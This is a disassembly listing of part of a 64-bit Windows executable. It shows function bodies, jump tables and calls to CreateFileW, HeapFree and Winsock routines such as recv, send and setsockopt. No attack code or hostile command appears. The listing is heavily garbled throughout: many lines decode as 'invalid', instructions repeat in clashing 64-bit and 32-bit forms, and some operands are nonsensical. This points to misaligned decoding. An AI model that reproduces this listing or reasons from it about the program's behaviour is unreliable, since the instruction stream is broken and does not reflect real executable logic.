invalid
invalid
invalid
mov rax, rsi
invalid
add rsp, 0x90
nop
add byte [rax], al
add byte [rdi + 0x5e], bl
pop rdi
pop rsi
pop rdi
pop rsi
pop rbp
ret
add byte [rax - 0x77], cl
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
push rbp
push rsi
push rdi
sub rsp, 0x20
sub esp, 0x20
sub esp, 0x20
lea rbp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rbp - 8]
clc
mov rdx, qword [rax + 8]
or byte [rbx + rcx*4 + 0x40], cl
mov r8, qword [rax + 0x10]
mov eax, dword [rax + 0x10]
adc byte [rax - 0x75], cl
mov rcx, qword [rbp]
add r8b, r13b
call fcn.14012dad0
fdiv dword [rdi + rdi*8 - 1]
je 0x1401365f6
mov rcx, qword [rbp - 0x10]
invalid
call fcn.14013a670
add byte [rax], al
nop
add rsp, 0x20
add esp, 0x20
add esp, 0x20
pop rdi
pop rsi
pop rbp
ret
int3
int3
int3
push r15
push r14
push rsi
push rsi
push r13
push rbp
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0xd8
sub esp, 0xd8
fadd dword [rax]
add byte [rax], al
invalid
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
lea rbp, [rsp + 0x80]
lea ebp, [rsp + 0x80]
and al, 0x80
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
sub dword [rbp + 0x40], esi
jne case.0x1401357e1.161
movaps xmmword [rbp + 0x40], xmm6
jne case.0x1401357e1.161
mov qword [rbp + 0x38], 0xfffffffffffffffe
mov dword [rbp + 0x38], 0xfffffffe
invalid
mov rdi, r8
mov qword [rbp], rdx
mov dword [rbp], edx
mov qword [rbp + 0x10], rcx
mov al, 1
mov dword [rbp + 0x2c], eax
sub al, 0x4d
test ecx, ecx
sub al, 0x4d
test ecx, ecx
leave
je case.0x140130f48.368
mov r12, qword [rbp + 0xc0]
add byte [rax], al
add byte [rcx - 0x7f], cl
invalid
invalid
invalid
add r12, 0x400
add al, 0
add byte [rdx + 0x27], dh
jb 0x140136683
jb 0x140136683
mov rax, r12
and rax, 0x1fff
call [rdi]
add byte [rax], al
loopne case.0x140132814.296
and eax, 0x1fff
call [rdi]
add byte [rax], al
je 0x14013667c
mov ecx, 0x2000
add byte [rax], ah
add byte [rax], al
sub rcx, rax
add r12, rcx
setb al
xchg edx, eax
invalid
mov dword [rbp + 0x2c], eax
invalid
invalid
xchg edx, eax
ror byte [rcx + 0x9eb2c45], 0xeb
sub al, 0xeb
or ebx, ebp
sub al, 0xeb
jmp 0x140136683
or ebx, ebp
jmp 0x140136683
invalid
mov dword [rbp + 0x2c], 0
sub al, 0
add byte [rax], al
add byte [rax], al
invalid
invalid
invalid
add byte [rax], al
mov r14, qword [rdi + 8]
mov esi, dword [rdi + 8]
or byte [rbx + rcx*4 + 0x6f], cl
adc byte [rcx], dh
xor esi, esi
invalid
push rdi
mov r13, qword [rdi + 0x10]
mov ebp, dword [rdi + 0x10]
xor esi, esi
xorps xmm6, xmm6
test byte [rcx + rcx*4 + 0x75], 8
mov qword [rbp + 8], r14
jne case.0x140135ac3.42
mov qword [rbp - 8], r13
insd dword [rdi], dx
clc
sub cl, byte [rbx + rcx*4 + 0x45]
xor byte [rbp - 0x75], cl
clc
clc
mov eax, dword [rax - 8]
clc
mov ah, 0xec
in al, dx
or eax, 0xffd23100
add byte [rcx], dh
sar bh, cl
invalid
adc eax, 0x31974
je case.0x140132814.301
add eax, dword [rax]
movsd dword [rdi], dword [rsi]
in al, dx
or eax, 0x4cd23100
mov eax, dword [rbp + 0x18]
add eax, dword [rax]
adc eax, dword [rcx]
add byte [rax], al
invalid
sub ecx, edi
loop 0x14013672b
cmovb edx, ecx
sub al, 0
ror dword [r8 - 0x77], 1
ror dword [rax - 0x77], 1
mov dword [rbp - 0x38], eax
enter 0xffffffffffff8948, 0x55
ror byte [rax - 0x39], 1
fadd dword [r8]
add byte [rax], al
add byte [rax - 0x77], cl
jne 0x1401366e2
mov eax, dword [rbp]
add byte [r8 - 0x75], r9b
or byte [rax - 0x73], cl
invalid
invalid
lea edx, [rbp - 0x38]
push rbp
enter 0x1ee8, 0xfffffffffffffff0
invalid
invalid
invalid
dec dword [rax - 0x7b]
ror byte [rdi], 0x84
invalid
invalid
add eax, 0x49000002
add al, byte [rax]
add byte [rcx - 0x77], cl
invalid
add byte [rax], al
mov ebp, eax
invalid
mov ebx, ebp
jmp case.0x1401327c8.305
or eax, 0xd53a5
movsd dword [rdi], dword [rsi]
push rbx
or eax, 0x4634800
add byte [rax + 0x63], cl
invalid
add al, 0x99
cdq
add eax, ecx
movzx eax, byte [rbp + 0x10]
adc r11b, r13b
and dword [rdi], ecx
nop dword [rax + rax]
invalid
movzx eax, byte [r13 + 0xf]
mov dh, 0x45
por mm2, qword [0xc43276b1]
adc eax, 0x841f0f66
por mm2, qword [0xc43276b1]
jmp fcn.14013675c
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x17], cl
mov rcx, r13
mov ecx, ebp
shr rcx, 0x20
shr ecx, 0x20
call fcn.14012f020
invalid
invalid
test dword [rsi + 0x48000004], esp
add byte [rax], al
lea eax, [rbx - 2]
dec byte [r8 - 0x7d]
clc
cmp eax, 2
add cl, byte [rdi]
invalid
invalid
test ebx, ebx
fisttp dword [rdi]
test byte [rdi + rdi*8 - 1], cl
invalid
dec dword [rcx + rcx*4 - 0x18]
mov dword [rbp + 0x18], eax
dec dword [rcx - 0x75]
invalid
invalid
xor byte [r8 - 0x77], r9b
xor byte [rax - 0x77], cl
and r15b, r15b
adc byte [rax - 0x75], cl
and byte [r8 - 0x7d], r9b
and byte [rax - 0x7d], cl
and byte [rax - 0x7d], cl
js 0x1401367a7
add byte [rdi], cl
test byte [rsi], cl
invalid
invalid
cmp dword [rax + 0x10], 0x11
js 0x1401367ba
invalid
dec dword [rbx + rcx*4 + 0x45]
xor cl, ch
invalid
mov eax, dword [rbp + 0x30]
jmp case.0x140135ac3.60
jmp qword [rsi + recv]
invalid
add byte [rax], r8b
mov rax, r13
shr rax, 0x20
shr eax, 0x20
shr eax, 0x20
cmp eax, 0x28
ja case.0x1400693d1.3366
xor eax, 0xd0d8d48
push rbx
lea rcx, [0x14020bae0]
or eax, 0xd530d
or eax, 0x4634800
add byte [rax + 0x63], cl
movsxd rax, dword [rcx + rax*4]
add al, 0x81
or dword [rax + 1], 0x31e0ffc8
add rax, rcx
add eax, ecx
enter 0xffffffffffffe0ff, 0x31
jmp rax
xor eax, eax
jmp fcn.14013675c
jns case.0x140135ac3.66
invalid
invalid
shr cl, 0x79
jns case.0x140135ac3.66
invalid
invalid
add byte [rax], al
add byte [rax - 0x77], cl
mov ecx, edi
add byte [rax], al
mov ecx, edi
bnd call fcn.140166600
inc byte [rdx]
add byte [rbx + rcx*4 + 0x77], cl
mov r14, qword [rdi + 8]
invalid
invalid
invalid
mov esi, dword [rdi + 8]
adc cl, ch
iretd
mov al, 0x29
sub ecx, ebp
push rsp
invalid
jmp fcn.14013675c
invalid
mov al, 1
add ecx, ebp
invalid
add ch, cl
invalid
add ebp, ecx
invalid
add al, 0xe9
cmp bh, bh
jmp fcn.14013675c
invalid
add eax, 0xffff31e9
push qword [rax - 0xd516fa]
invalid
invalid
sub bh, bh
jmp fcn.14013675c
invalid
invalid
jmp fcn.14013675c
invalid
invalid
jmp fcn.14013675c
invalid
or cl, ch
sbb al, 0xff
jmp fcn.14013675c
invalid
or ecx, ebp
adc eax, 0xb0ffffff
jmp fcn.14013675c
invalid
or ch, cl
invalid
jmp fcn.14013675c
invalid
invalid
or ebp, ecx
invalid
jmp fcn.14013675c
invalid
or al, 0xe9
add bh, bh
jmp fcn.14013675c
invalid
or eax, 0xfffef9e9
push qword [rax - 0x10d16f2]
invalid
invalid
invalid
invalid
jmp fcn.14013675c
invalid
invalid
jmp fcn.14013675c
invalid
psubsw mm5, mm3
invalid
jmp fcn.14013675c
invalid
adc cl, ch
in al, 0xfe
jmp fcn.14013675c
invalid
adc ecx, ebp
invalid
jmp fcn.14013675c
invalid
adc ch, cl
invalid
jmp fcn.14013675c
invalid
adc ebp, ecx
iretd
jmp fcn.14013675c
invalid
adc al, 0xe9
enter 0xfffffffffffffffe, 0xffffffffffffffff
mov al, reloc.WS2_32.dll_setsockopt
invalid
jmp fcn.14013675c
invalid
adc eax, 0xfffec1e9
push qword [rax - 0x14516ea]
invalid
invalid
invalid
invalid
jmp fcn.14013675c
invalid
invalid
jmp fcn.14013675c
invalid
invalid
jmp fcn.14013675c
invalid
push qword [rax - 0x15316e8]
sbb cl, ch
lodsb al, byte [rsi]
invalid
jmp fcn.14013675c
invalid
sbb ecx, ebp
movsd dword [rdi], dword [rsi]
invalid
jmp fcn.14013675c
invalid
sbb ch, cl
sahf
invalid
jmp fcn.14013675c
invalid
sbb ebp, ecx
xchg edi, eax
invalid
jmp fcn.14013675c
invalid
sbb al, 0xe9
nop
invalid
jmp fcn.14013675c
invalid
sbb eax, 0xfffe89e9
push qword [rax - 0x17d16e2]
invalid
invalid
invalid
invalid
invalid
invalid
jmp fcn.14013675c
invalid
invalid
jmp fcn.14013675c
invalid
jmp fcn.14013675c
invalid
jmp fcn.14013675c
invalid
invalid
jmp fcn.14013675c
invalid
jmp fcn.14013675c
invalid
jmp fcn.14013675c
invalid
jmp fcn.14013675c
invalid
jmp fcn.14013675c
push qword [rax - 0x1bc16d9]
invalid
jmp fcn.14013675c
jmp fcn.14013675c
insd dword [rdi], dx
fmul dword [rbp - 0x7b]
in eax, dx
test byte [0x188136931], ch
sub eax, 0x48000003
mov eax, dword [rbp - 0x20]
loopne case.0x140135ac3.99
add rax, qword [rax]
add byte [rax - 0x75], cl
mov edx, dword [rbp - 0x30]
cmp rax, rdx
invalid
mov edx, dword [rbp - 0x30]
cmp eax, edx
xchg dword [rdi + 3], ecx
add byte [rax], al
invalid
jne 0x14013695d
dec dword [rbp + 0x39]
cmc
std
invalid
add byte [rax - 0x75], cl
adc byte [rcx - 0x47], al
mov r9d, 0x20
add byte [rax], al
add byte [rbp + rcx*4 + 0x7d], cl
lea edi, [rbp - 0x18]
mov rcx, r15
invalid
invalid
mov ebx, esi
add ecx, dword [rax - 0x73]
or eax, 0xd51a0
invalid
add byte [rax + 0x63], cl
add al, 0x99
enter 0xffffffffffffe0ff, 0x41
movzx eax, byte [rsi + 0x10]
invalid
adc bl, ch
sub byte [rsi + 0x66], ah
nop word cs:[rax + rax]
nop dword [rax + rax]
nop word cs:[rax + rax]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rcx + 0xf], al
movzx eax, byte [r14 + 0xf]
jmp fcn.140136a1c
invalid
mov dh, 0x46
por mm2, qword [0xc4327971]
adc eax, 0x841f0f66
adc eax, 0x841f0f66
invalid
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0xf], cl
mov rcx, r14
mov rcx, r14
shr rcx, 0x20
shr ecx, 0x20
call fcn.14012f020
invalid
add byte [rax], al
lea eax, [rbx - 2]
cmp eax, 2
jns 0x140136a34
dec dword [rax - 0x77]
sbb byte [r9 - 0x75], r9b
sbb byte [rcx - 0x75], cl
sbb byte [rcx - 0x75], cl
dec qword [rcx - 0x75]
invalid
mov dword [rbp + 0x30], ecx
cmp dword [rax + 8], 0
cmp eax, 0x48ffffff
cmp dword [rax + 0x10], 0x11
adc byte [rcx], dl
invalid
adc byte [rcx], dl
adc dword [rdi], ecx
sbb dword [rbx], 0xffffffff
invalid
dec dword [rbx + rcx*4 + 0x45]
xor cl, ch
sbb bh, bh
invalid
invalid
invalid
nop dword [rax + rax]
invalid
add byte [rcx + rcx*4 - 0x10], cl
mov rax, r14
shr rax, 0x20
and byte [rbx + 0x177728f8], al
cmp eax, 0x28
ja case.default.0x140136a9a
lea rcx, [0x14020bb94]
lea ecx, [0x14020bb94]
or eax, 0xd5101
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
add rax, rcx
jmp rax
invalid
loopne 0x140136ace
xor eax, eax
jmp fcn.140136a1c
invalid
invalid
invalid
shr cl, 0x79
invalid
push qword [rax - 0x8d16d7]
invalid
mov al, 0x29
jmp fcn.140136a1c
invalid
invalid
push qword [rax - 0x9416ff]
invalid
mov al, 1
jmp fcn.140136a1c
invalid
invalid
push qword [rax - 0x9b16fe]
invalid
mov al, 2
jmp fcn.140136a1c
invalid
invalid
push qword [rax - 0xa216fd]
invalid
mov al, 3
jmp fcn.140136a1c
invalid
invalid
push qword [rax - 0xa916fc]
invalid
mov al, 4
jmp fcn.140136a1c
invalid
invalid
push qword [rax - 0xb016fb]
invalid
mov al, 5
jmp fcn.140136a1c
invalid
invalid
push qword [rax - 0xb716fa]
invalid
mov al, 6
jmp fcn.140136a1c
invalid
invalid
invalid
push qword [rax - 0xbe16f9]
invalid
mov al, 7
jmp fcn.140136a1c
invalid
invalid
push qword [rax - 0xc516f8]
invalid
mov al, 8
jmp fcn.140136a1c
invalid
invalid
push qword [rax - 0xcc16f7]
invalid
mov al, 9
jmp fcn.140136a1c
invalid
invalid
push qword [rax - 0xd316f6]
invalid
mov al, 0xa
jmp fcn.140136a1c
invalid
invalid
push qword [rax - 0xda16f5]
invalid
mov al, 0xb
jmp fcn.140136a1c
invalid
invalid
push qword [rax - 0xe116f4]
invalid
mov al, 0xc
jmp fcn.140136a1c
invalid
invalid
push qword [rax - 0xe816f3]
invalid
mov al, 0xd
jmp fcn.140136a1c
invalid
invalid
push qword [rax - 0xef16f2]
invalid
mov al, 0xe
jmp fcn.140136a1c
invalid
invalid
push qword [rax - 0xf616f1]
invalid
mov al, recv
jmp fcn.140136a1c
invalid
invalid
push qword [rax - 0xfd16f0]
invalid
mov al, reloc.WS2_32.dll_recv
jmp fcn.140136a1c
invalid
invalid
push qword [rax - 0x10416ef]
invalid
mov al, 0x11
jmp fcn.140136a1c
invalid
invalid
push qword [rax - 0x10b16ee]
invalid
mov al, send
jmp fcn.140136a1c
invalid
invalid
push qword [rax - 0x11216ed]
invalid
mov al, reloc.WS2_32.dll_send
jmp fcn.140136a1c
invalid
invalid
push qword [rax - 0x11916ec]
invalid
mov al, setsockopt
jmp fcn.140136a1c
invalid
invalid
push qword [rax - 0x12016eb]
invalid
mov al, reloc.WS2_32.dll_setsockopt
jmp fcn.140136a1c
invalid
invalid
push qword [rax - 0x12716ea]
invalid
mov al, reloc.WS2_32.dll_shutdown
jmp fcn.140136a1c
invalid
invalid
push qword [rax - 0x12e16e9]
invalid
mov al, 0x17
jmp fcn.140136a1c
invalid
invalid
push qword [rax - 0x13516e8]
invalid
mov al, 0x18
jmp fcn.140136a1c
invalid
invalid
push qword [rax - 0x13c16e7]
invalid
mov al, 0x19
jmp fcn.140136a1c
invalid
invalid
invalid
push qword [rax - 0x14316e6]
invalid
mov al, 0x1a
jmp fcn.140136a1c
invalid
invalid
push qword [rax - 0x14a16e5]
invalid
mov al, 0x1b
jmp fcn.140136a1c
invalid
invalid
push qword [rax - 0x15116e4]
invalid
mov al, 0x1c
jmp fcn.140136a1c
invalid
invalid
mov al, 0x1d
jmp fcn.140136a1c
invalid
invalid
mov al, 0x1e
jmp fcn.140136a1c
invalid
invalid
mov al, 0x1f
jmp fcn.140136a1c
invalid
invalid
mov al, 0x20
jmp fcn.140136a1c
invalid
invalid
mov al, 0x21
jmp fcn.140136a1c
invalid
invalid
mov al, 0x22
jmp fcn.140136a1c
invalid
invalid
mov al, 0x23
jmp fcn.140136a1c
invalid
invalid
mov al, 0x24
jmp fcn.140136a1c
invalid
invalid
mov al, 0x25
jmp fcn.140136a1c
invalid
invalid
mov al, 0x26
jmp fcn.140136a1c
mov al, 0x27
jmp fcn.140136a1c
mov al, 0x28
jmp fcn.140136a1c
add esp, 0x20
pop rsi
ret
push rsi
sub rsp, 0x20
mov rax, r8
mov rsi, rcx
add rax, 0xfffffffffffffff0
shl r9, 4
lea r8, [0x140204680]
lea eax, [0x140204680]
lea eax, [0x140204680]
nop word [rax + rax]
test r9, r9
je case.0x140130eaa.389
adc byte [rcx - 0x7d], cl
sal eax, 0x4d
test edx, edx
je 0x140136db0
mov r8, qword [rax + 8]
jmp 0x140136dcf
or bl, bpl
add eax, dword [rbp + 0x31]
xor r10d, r10d
mov rdx, qword [rdx]
mov rcx, rsi
xor r10d, r10d
mov rdx, qword [rdx]
mov rcx, rsi
mov r9, r10
call fcn.1401359e0
dec dword [rax - 0x77]
invalid
mov rax, rsi
add rsp, 0x20
add esp, 0x20
add esp, 0x20
pop rsi
ret
int3
int3
mov ecx, dword [rcx]
jmp fcn.140135730
cmp cl, ch
invalid
invalid
cmp cl, ch
invalid
jmp 0x10ce06df9
int3
int3
push r15
push rdi
push r14
push rsi
push rdi
push rbx
sub rsp, 0x30
in al, dx
xor byte [rcx + rcx*4 - 0x39], cl
mov edi, eax
in al, dx
xor byte [rcx + rcx*4 - 0x39], cl
mov edi, eax
mov edi, eax
invalid
mov rbx, rdx
mov rsi, rcx
mov rcx, qword [rdx]
mov ecx, dword [rdx]
call case.0x140133f08.229
mov r14, rax
mov esi, eax
mov ah, 0xf6
invalid
idiv bh
dec dword [rcx - 0x77]
mov esi, eax
mov esi, eax
mov r15, rdx
xlatb
test rax, rax
ror byte [rcx - 0x77], 0xd0
mov r8, rdx
cmove r8, rax
cmove eax, eax
ror byte [rax - 0x75], 0x47
or byte [rax - 0x75], cl
invalid
mov rax, qword [rdi + 8]
mov eax, dword [rdi + 8]
mov rdx, qword [rdi + 0x10]
mov edx, dword [rdi + 0x10]
push rdi
adc byte [rax + 0x29], cl
sub eax, edx
cmp rax, r8
sub rax, rdx
sub eax, edx
cmp rax, r8
sal byte [rdx + 0x25], 0x4c
jb case.0x140131419.368
mov qword [rsp + 0x20], r15
mov dword [rsp + 0x20], edi
and byte [rax - 0x77], cl
int1
mov rcx, rsi
mov rdx, rbx
mov edx, ebx
mov r8, rdi
clc
mov r9, r14
call fcn.140136610
mov rax, rsi
invalid
mov esi, 0x48fffff7
mov eax, esi
invalid
dec dword [rax - 0x77]
invalid
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
pop r15
ret
mov rcx, rdi
stc
call fcn.140166600
xchg edi, eax
test dword [rdx], 0xccd1eb00
jmp case.0x140131419.361
int3
jmp case.0x140131419.361
ror esp, 1
int3
int3
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x68
sub esp, 0x68
lea rbp, [rsp + 0x60]
lea ebp, [rsp + 0x60]
and al, 0x60
mov qword [rbp], 0xfffffffffffffffe
invalid
invalid
mov r15, r8
mov rdi, rdx
mov edi, edx
mov edi, edx
mov rsi, rcx
mov rcx, qword [rdx]
invalid
invalid
or ch, al
idiv bh
call case.0x140133f08.229
mov rbx, rax
mov ebx, eax
dec dword [rax - 0x77]
ret
mov ebx, eax
mov r14, rdx
test rax, rax
test eax, eax
test eax, eax
ror byte [rcx - 0x77], 0xd0
mov r8, rdx
ror byte [rdi + rcx + 0x44], 1
cmove r8, rax
mov rax, qword [r15 + 8]
or byte [r9 - 0x75], r9b
push rdi
adc byte [rax + 0x29], cl
sub eax, edx
ror byte [rcx - 0x75], 0x47
or byte [rcx - 0x75], cl
or byte [r9 - 0x75], r9b
push rdi
adc byte [rax + 0x29], cl
invalid
sub eax, edx
ror byte [rcx + rdi - 0x40], 1
cmp rax, r8
ror byte [rdi], 0x82
jb case.0x140133f08.322
mov eax, dword [rax]
add byte [rax], al
invalid
mov qword [rbp - 8], rdx
clc
mov qword [rsp + 0x20], r14
je 0x140136eea
and al, 0x20
and byte [rax - 0x73], cl
loopne 0x140136f14
lea rcx, [rbp - 0x20]
lea ecx, [rbp - 0x20]
mov rdx, rdi
mov edx, edi
mov r8, r15
mov eax, edi
clc
mov r9, rbx
invalid
mov qword [rbp - 0x10], r15
jge case.0x1401316c1.378
call fcn.140136610
idiv edi
dec dword [rax - 0x75]
invalid
invalid
invalid
mov rax, qword [rbp - 0x10]
mov rdi, qword [rax + 0x10]
mov r8, rdi
adc byte [rcx - 0x77], cl
clc
mov r14, qword [rbp - 8]
jne case.0x1401316c1.382
clc
sub r8, r14
invalid
jb 0x140136f5e
mov rbx, rax
mov ebx, eax
mov rdx, qword [rax]
add rdx, r14
invalid
adc byte [rcx + rax - 0xe], cl
lea rcx, [rbp - 0x38]
lea rcx, [rbp - 0x38]
enter 0xfffffffffffffde8, 0x34
call fcn.14005a400
cmp qword [rbp - 0x38], 0
cmp dword [rbp - 0x38], 0
xor al, 0xf2
dec dword [rax - 0x7d]
invalid
dec dword [rax - 0x7d]
cmp dword [rbp - 0x38], 0
jge case.0x1401316c1.379
add byte [rbp + rcx + 0x48], dh
je 0x140136f17
cmp qword [rbp - 0x20], 0
cmp dword [rbp - 0x20], 0
jge 0x140136eee
loopne 0x140136f0f
add byte [rdx + rdx + 0x48], dh
je case.0x1401316c1.391
mov rax, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
call 0x150228304
jmp case.0x1401316c1.392
movups xmm0, xmmword [rbp - 0x20]
movups xmmword [rsi], xmm0
adc dword [rsi], eax
loopne case.0x140132814.345
adc dword [rsi], eax
invalid
mov r14, rdi
invalid
jmp case.0x140133f08.317
lea rax, [0x1401db1a0]
add eax, 0xa4276
or al, byte [rax]
add byte [rax - 0x77], cl
invalid
invalid
invalid
mov qword [rsi + 8], rax
mov dword [rsi + 8], eax
invalid
invalid
mov qword [rsi], 1
add dword [rax], eax
add byte [rax], al
mov qword [rbx + 0x10], r14
adc byte [rax - 0x77], cl
invalid
mov rax, rsi
add rsp, 0x68
add esp, 0x68
invalid
push 0x415e5f5b
pop rsi
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
pop r15
pop rdi
pop rbp
ret
mov rcx, r15
call fcn.140166600
scasd eax, dword [rdi]
test byte [rdx], 0
mov rax, qword [r15 + 0x10]
mov qword [rbp - 8], rax
jmp 0x140136ec2
lea r8, [0x1401db7c0]
mov rcx, r14
mov rdx, rdi
call fcn.140160e60
ud2
push r14
push rsi
push rdi
push rbx
sub rsp, 0x70
mov rdi, rcx
iretd
lea rcx, [rsp + 0x40]
call fcn.14012fe00
mov rax, qword [rsp + 0x40]
mov eax, dword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
test rax, rax
je case.0x140134a1e.300
mov rcx, qword [rsp + 0x50]
mov ecx, dword [rsp + 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], r14
and al, 0x48
mov qword [rsp + 0x50], rcx
lea rcx, [rsp + 0x58]
and al, 0x58
lea rdx, [rsp + 0x40]
call fcn.140135d70
invalid
invalid
invalid
mov rsi, qword [rsp + 0x58]
mov r15, qword [rsp + 0x60]
mov ebx, 1
test rsi, rsi
je case.0x1401357e1.233
movzx ecx, byte [rdi + 0x21]
movzx eax, byte [rdi + 0x22]
cmp dword [rdi], 0
invalid
invalid
je case.0x1401357e1.235
mov edx, dword [rdi + 4]
mov r8d, dword [rdi + 0x18]
mov r9, qword [rdi + 8]
invalid
test cl, cl
je 0x14013708f
invalid
sbb byte [r11 + r9*4 + 0x4f], r9b
or byte [rcx + rcx*8 - 0x3f7bca8c], al
xor eax, 0x3575c084
test al, al
jne 0x140137093
jmp 0x1401370ea
add byte [rax], al
mov ebx, 1
jmp 0x1401371da
insd dword [rdi], dx
add dword [rax], eax
invalid
add byte [rax], al
add cl, ch
insd dword [rdi], dx
add dword [rax], eax
add byte [rbp - 0x77], cl
mov r14, r15
mov r14, r15
jmp 0x1401371da
add dword gs:[rax], eax
invalid
add dword gs:[rax], eax
add byte [rax + 0x7400207f], al
cmp byte [rdi + 0x20], 0
je 0x1401370d5
cmp byte [rdi + 0x20], 0
je 0x1401370d5
mov edx, 0x80120114
test cl, cl
leave
add dword [rdx], edx
add byte [rcx + rcx*8 - 0x3f7b8f8c], 0x75
invalid
leave
je 0x1401370f4
test al, al
sal byte [rbp - 0x3a], 0xba
jne case.0x140134a1e.297
mov edx, 0xc0000000
add byte [rax], al
add al, al
jmp 0x1401370e2
test al, al
je 0x140137109
movzx ecx, byte [rdi + 0x23]
movzx eax, byte [rdi + 0x25]
invalid
invalid
and r9, qword [r15]
mov dh, 0x47
and eax, 0x840fc984
test cl, cl
invalid
invalid
and eax, 0x840fc984
test cl, cl
je case.0x1401357e1.269
lahf
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + rax*8 + 0x97850f], al
add byte [rax], al
test al, al
jne case.0x1401357e1.269
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 0x42], cl
add al, byte [rax]
movabs r14, 0x5700000002
test r15, r15
test edi, edi
add byte [rax], al
push rdi
add byte [rax], al
add byte [rbp - 0x7b], cl
test edi, edi
je 0x1401371da
test edi, edi
je 0x1401371da
add byte [rax - 0x75], cl
or eax, 0xde29b
invalid
mov rcx, qword [0x140215360]
add byte [rcx], dh
ror byte [rcx - 0x77], cl
invalid
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x30f58
adc eax, 0x30f58
jmp 0x1401371da
add dword [rax], eax
add byte [rcx + rcx*8 - 0x3f7bb78c], al
test al, al
test cl, cl
je 0x140137121
test al, al
jne 0x140137125
mov edx, 0x40000000
add byte [rax + 0x44], al
mov eax, dword [rdi + 0x18]
mov r8d, dword [rdi + 0x18]
mov r9, qword [rdi + 8]
mov ecx, dword [rdi + 8]
movzx ecx, byte [rdi + 0x23]
movzx eax, byte [rdi + 0x25]
jmp case.0x1401357e1.269
test al, al
jne case.0x140134a1e.297
ror byte [rdi], 0x85
push rdx
invalid
mov r8d, dword [rdi + 0x18]
mov r9, qword [rdi + 8]
or byte [rdx - 0x80000000], bh
or byte [rdx - 0x80000000], bh
cmp byte [rdi + 0x23], 0
jne 0x1401370ab
jg 0x14013712f
add byte [rbp - 0x64], dh
cmp byte [rdi + 0x24], 0
and al, 0
jne 0x1401370ab
cmp byte [rdi + 0x25], 0
jne 0x1401370ab
add byte [rbp - 0x70], dh
xor eax, eax
xor ecx, ecx
jmp case.0x1401357e1.269
test al, al
je 0x1401370ab
mov r8d, dword [rdi + 0x18]
mov eax, dword [rdi + 0x18]
mov r9, qword [rdi + 8]
mov edx, 0x120114
movzx ecx, byte [rdi + 0x23]
and r9, qword [r15]
mov dh, 0x47
invalid
test cl, cl
leave
add dword [rdx], edx
add byte [rdi], cl
mov dh, 0x4f
and r9, qword [r15]
and r9, qword [r15]
mov dh, 0x47
and eax, 0x850fc984
leave
invalid
invalid
invalid
leave
jne 0x1401370a3
cmp byte [rdi + 0x24], 0
je 0x140137161
xor r10d, r10d
test cl, cl
sete cl
test al, al
invalid
jne 0x140137171
sal byte [rbp + 0x1d], 0x41
mov dl, cl
mov r10b, cl
lea ecx, [r10*2 + 2]
jmp 0x140137176
xor r10d, r10d
test cl, cl
setne cl
test al, al
je 0x140137208
mov ecx, 1
mov r10d, dword [rdi + 0x14]
xor r11d, r11d
test al, al
setne r11b
setne bl
setne bl
or r10d, dword [rdi + 0x10]
shl r11d, 0x15
jrcxz case.0x140135ac3.133
or r10d, dword [rdi + 0x1c]
or edx, dword [rdi + 0x1c]
push rdi
adc byte [rcx - 0x3f], al
jrcxz case.0x140135ac3.133
or edx, dword [rdi + 0x1c]
push rdi
sbb al, 0x45
or edx, ebx
or r10d, r11d
mov dword [rsp + 0x28], r10d
mov dword [rsp + 0x20], ecx
mov qword [rsp + 0x30], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1401371ec
xor ebx, ebx
mov r14, rdi
test r15, r15
invalid
je 0x1401371d2
push qword [rdx + rdx + 0x48]
mov rcx, qword [0x140215360]
mov ecx, dword [0x140215360]
or eax, 0x49d23100
mov eax, esi
xor edx, edx
mov r8, rsi
ror byte [rcx - 0x77], cl
invalid
call qword [sym.imp.KERNEL32.dll_HeapFree]
add byte [rax - 0x7d], cl
invalid
cmp rdi, 0xffffffffffffffff
je 0x1401371da
xor ebx, ebx
fisttp dword [rax - 0x77]
fmul dword [rcx + rcx*4 - 0xe]
mov rdx, r14
mov rax, rbx
mov rdx, r14
add rsp, 0x70
add esp, 0x70
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
call sub.KERNEL32.dll_GetLastError
invalid
mov r14d, eax
shl r14, 0x20
shl esi, 0x20
shl esi, 0x20
or r14, 2
or esi, 2
mov ebx, 1
add dword [rax], eax
add byte [rax], al
test r15, r15
jne 0x1401371c0
mov edx, 0x8841caeb
retf 0x8d42
jmp 0x1401371d2
mov r10b, cl
mov dl, cl
lea ecx, [r10*2 + 3]
or al, 0x55
add eax, dword [rax]
add byte [rax], al
jmp 0x140137176
invalid
invalid
int3
int3
cmp byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x30
mov dword [rbp], 0xfffffffe
add dh, bh
invalid
mov edi, edx
retf
mov ah, 0xe1
or eax, 0xd8b4800
add byte [rax - 0x75], cl
invalid
add byte [rax - 0x75], cl
or eax, 0xde115
invalid
loope 0x140137257
invalid
adc eax, 0x48000de1
add byte [rax - 0x7b], cl
leave
test ecx, ecx
adc eax, 0x30dda
test rax, rax
invalid
je 0x14013728e
add byte [rax - 0x7b], cl
sal byte [rbx + rsi + 0x48], 0x89
ror dword [rax - 0x77], 5
invalid
invalid
sti
loopne case.0x140130eaa.450
invalid
mov ecx, eax
mov qword [0x140215360], rax
mov dword [0x140215360], eax
mov dword [0x140215360], eax
or eax, 0x18b84100
